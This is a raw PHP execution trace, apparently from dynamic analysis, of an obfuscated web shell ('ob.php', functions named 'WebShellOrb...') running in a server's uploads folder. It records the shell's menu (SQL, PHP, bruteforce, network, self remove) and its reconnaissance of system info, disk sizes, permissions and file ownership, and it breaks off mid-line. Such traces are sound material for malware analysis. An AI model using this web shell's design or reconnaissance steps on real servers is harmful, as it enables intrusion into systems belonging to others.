'Sql' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Sql ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'Php' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'Php' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Php ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'StringTools' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'String tools' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ String tools ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'Bruteforce' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'Bruteforce' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Bruteforce ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'Network' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'Network' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Network ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'SelfRemove' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'Self remove' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Self remove ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $drivesdrives = '' 5 73 0 0.025708 1490368 php_uname 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 5 73 1 0.025724 1490480 5 73 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 5 74 0 0.025743 1490480 substr 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120 5 74 1 0.025761 1490576 5 74 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 5 75 0 0.025782 1490496 phpversion 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 5 75 1 0.025795 1490560 5 75 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1' 5 76 0 0.025812 1490688 date 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'Y-m-d H:i:s' 5 76 1 0.025883 1493040 5 76 R '2023-02-12 22:43:40' 5 77 0 0.025905 1492880 WebShellOrbViewSize 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 232015802368 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['gimekbfm'] = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cbmexkhxicy'] = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dqglmpbjtwd = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vamszp = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jwevteetyqc = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $uebsygttsee = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nmpwumxsjgpa'] = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $rsztkxvkbp = 's' 6 78 0 0.026011 1493256 sprintf 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '%1.2f' 216.08155441284 6 78 1 0.026028 1493640 6 78 R '216.08' 5 77 1 0.026043 1493296 5 77 R '216.08 GB' 5 79 0 0.026058 1493256 WebShellOrbViewSize 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 195455639552 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['gimekbfm'] = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cbmexkhxicy'] = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dqglmpbjtwd = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vamszp = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jwevteetyqc = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $uebsygttsee = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nmpwumxsjgpa'] = 's' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $rsztkxvkbp = 's' 6 80 0 0.026164 1493256 sprintf 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '%1.2f' 182.03224945068 6 80 1 0.026179 1493640 6 80 R '182.03' 5 79 1 0.026193 1493296 5 79 R '182.03 GB' 5 81 0 0.026210 1493512 WebShellOrbPermsColor 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hfgpvmt = 'f' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmakjqctvr'] = 'f' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pigyuorhk'] = 'f' 6 82 0 0.026260 1493512 is_readable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 6 82 1 0.026283 1493552 6 82 R TRUE 6 83 0 0.026297 1493512 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 6 83 1 0.026313 1493552 6 83 R TRUE 6 84 0 0.026328 1493512 fileperms 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 6 84 1 0.026345 1493576 6 84 R 16895 6 85 0 0.026359 1493536 WebShellOrbPerms 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 16895 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qwyrtxgnisf = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lreavxykf = 'i' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ctwfzevrci = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qtdsyeg'] = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhcxeci = 'i' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $auktcgubws = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $alkqtmvu = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nhlvkvrl'] = 'i' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ilolonrsko = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vlkybhpqjn = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['idxhruzeutti'] = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyhbiltfi'] = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ohjadiupdto'] = 'i' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qkybts = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iwcqbfpgngg = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['olqfmkengz'] = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jupethhvkj = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = 'd' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yxcnjhn'] = 'i' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['shsxvtn'] = 'p' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 6 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 6 85 1 0.026740 1494272 6 85 R 'drwxrwxrwx' 5 81 1 0.026764 1494296 5 81 R 'drwxrwxrwx' 4 49 1 0.026811 1490504 4 86 0 0.026827 1490504 WebShellOrbScandir 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 87 0 0.026848 1490504 function_exists 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'scandir' 5 87 1 0.026869 1490544 5 87 R TRUE 5 88 0 0.026891 1490504 scandir 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 88 1 0.026950 1491120 5 88 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ob.php', 5 => 'prepend.php'] 4 86 1 0.026982 1491088 4 86 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ob.php', 5 => 'prepend.php'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dirContentdirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ob.php', 5 => 'prepend.php'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['urslvvevcyd'] = 'files' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $sort$kmcbnuopsort = [0 => 'name', 1 => 1] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ucfmbrelsm'] = 'files' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $filesfiles = [] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dirsdirs = [] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pwjxzgtesey'] = 'n' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $nn = 6 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = 0 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pdavystbnb'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dccmvjub = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rqmafuvr'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $igxyngssey = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $olxfijt = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['mlougu'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $xqzsqep = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['phbvllhebmmy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['egevsdguy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $umpvgjutp = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['jjvkvgxrrgr'] = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyldppgou'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dfpwsfgwzk = 'i' 4 89 0 0.027413 1491112 fileowner 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 4 89 1 0.027439 1491136 4 89 R 0 4 90 0 0.027460 1491096 posix_getpwuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 90 1 0.027504 1491896 4 90 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $owow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kbjcjgsc = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yovvctdkx'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kvhmbnzvd = 'dirContent' 4 91 0 0.027618 1491864 filegroup 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 4 91 1 0.027639 1491904 4 91 R 0 4 92 0 0.027659 1491864 posix_getgrgid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 92 1 0.027697 1492520 4 92 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gr$umpvgjutpgr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fdkdqgpmwo = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['prriunh'] = 'ow' 4 93 0 0.027790 1492960 filemtime 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 4 93 1 0.027816 1493016 4 93 R 1676259820 4 94 0 0.027838 1492928 date 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'Y-m-d H:i:s' 1676259820 4 94 1 0.027885 1493256 4 94 R '2023-02-12 22:43:40' 4 95 0 0.027911 1493232 WebShellOrbPermsColor 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hfgpvmt = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmakjqctvr'] = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pigyuorhk'] = 'f' 5 96 0 0.027990 1493232 is_readable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 5 96 1 0.028014 1493272 5 96 R TRUE 5 97 0 0.028029 1493232 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 5 97 1 0.028045 1493272 5 97 R TRUE 5 98 0 0.028058 1493232 fileperms 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 5 98 1 0.028072 1493272 5 98 R 16895 5 99 0 0.028085 1493232 WebShellOrbPerms 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 16895 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qwyrtxgnisf = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lreavxykf = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ctwfzevrci = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qtdsyeg'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhcxeci = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $auktcgubws = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $alkqtmvu = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nhlvkvrl'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ilolonrsko = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vlkybhpqjn = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['idxhruzeutti'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyhbiltfi'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ohjadiupdto'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qkybts = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iwcqbfpgngg = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['olqfmkengz'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jupethhvkj = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = 'd' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yxcnjhn'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['shsxvtn'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 99 1 0.028418 1493272 5 99 R 'drwxrwxrwx' 4 95 1 0.028433 1493296 4 95 R 'drwxrwxrwx' 4 100 0 0.028452 1493296 filesize 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 4 100 1 0.028467 1493336 4 100 R 4096 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $tmptmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ihlumwlqnhp'] = 'dirs' 4 101 0 0.028522 1493296 is_file 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 4 101 1 0.028536 1493336 4 101 R FALSE 4 102 0 0.028552 1493296 is_link 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 4 102 1 0.028567 1493360 4 102 R FALSE 4 103 0 0.028583 1493320 is_dir 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.' 4 103 1 0.028601 1493360 4 103 R TRUE 4 104 0 0.028616 1493272 array_merge 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir'] 4 104 1 0.028643 1493712 4 104 R ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 dirs[] = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pdavystbnb'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dccmvjub = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rqmafuvr'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $igxyngssey = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $olxfijt = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['mlougu'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $xqzsqep = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['phbvllhebmmy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['egevsdguy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $umpvgjutp = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['jjvkvgxrrgr'] = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyldppgou'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dfpwsfgwzk = 'i' 4 105 0 0.028870 1494024 fileowner 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 4 105 1 0.028887 1494048 4 105 R 0 4 106 0 0.028933 1494008 posix_getpwuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 106 1 0.028966 1494808 4 106 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $owow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kbjcjgsc = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yovvctdkx'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kvhmbnzvd = 'dirContent' 4 107 0 0.029045 1494040 filegroup 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 4 107 1 0.029059 1494080 4 107 R 0 4 108 0 0.029072 1494040 posix_getgrgid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 108 1 0.029097 1494696 4 108 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gr$umpvgjutpgr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fdkdqgpmwo = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['prriunh'] = 'ow' 4 109 0 0.029159 1494560 filemtime 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 4 109 1 0.029176 1494624 4 109 R 1676259820 4 110 0 0.029190 1494528 date 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'Y-m-d H:i:s' 1676259820 4 110 1 0.029225 1494856 4 110 R '2023-02-12 22:43:40' 4 111 0 0.029241 1494840 WebShellOrbPermsColor 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hfgpvmt = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmakjqctvr'] = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pigyuorhk'] = 'f' 5 112 0 0.029291 1494840 is_readable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 5 112 1 0.029308 1494880 5 112 R TRUE 5 113 0 0.029327 1494840 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 5 113 1 0.029343 1494880 5 113 R TRUE 5 114 0 0.029357 1494840 fileperms 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 5 114 1 0.029371 1494880 5 114 R 16895 5 115 0 0.029385 1494840 WebShellOrbPerms 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 16895 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qwyrtxgnisf = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lreavxykf = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ctwfzevrci = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qtdsyeg'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhcxeci = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $auktcgubws = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $alkqtmvu = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nhlvkvrl'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ilolonrsko = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vlkybhpqjn = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['idxhruzeutti'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyhbiltfi'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ohjadiupdto'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qkybts = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iwcqbfpgngg = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['olqfmkengz'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jupethhvkj = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = 'd' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yxcnjhn'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['shsxvtn'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 115 1 0.029718 1494880 5 115 R 'drwxrwxrwx' 4 111 1 0.029734 1494904 4 111 R 'drwxrwxrwx' 4 116 0 0.029751 1494904 filesize 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 4 116 1 0.029765 1494944 4 116 R 4096 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $tmptmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ihlumwlqnhp'] = 'dirs' 4 117 0 0.029818 1494528 is_file 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 4 117 1 0.029832 1494568 4 117 R FALSE 4 118 0 0.029847 1494528 is_link 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 4 118 1 0.029863 1494576 4 118 R FALSE 4 119 0 0.029877 1494536 is_dir 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/..' 4 119 1 0.029890 1494576 4 119 R TRUE 4 120 0 0.029904 1494480 array_merge 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir'] 4 120 1 0.029929 1494920 4 120 R ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pdavystbnb'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dccmvjub = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rqmafuvr'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $igxyngssey = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $olxfijt = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['mlougu'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $xqzsqep = 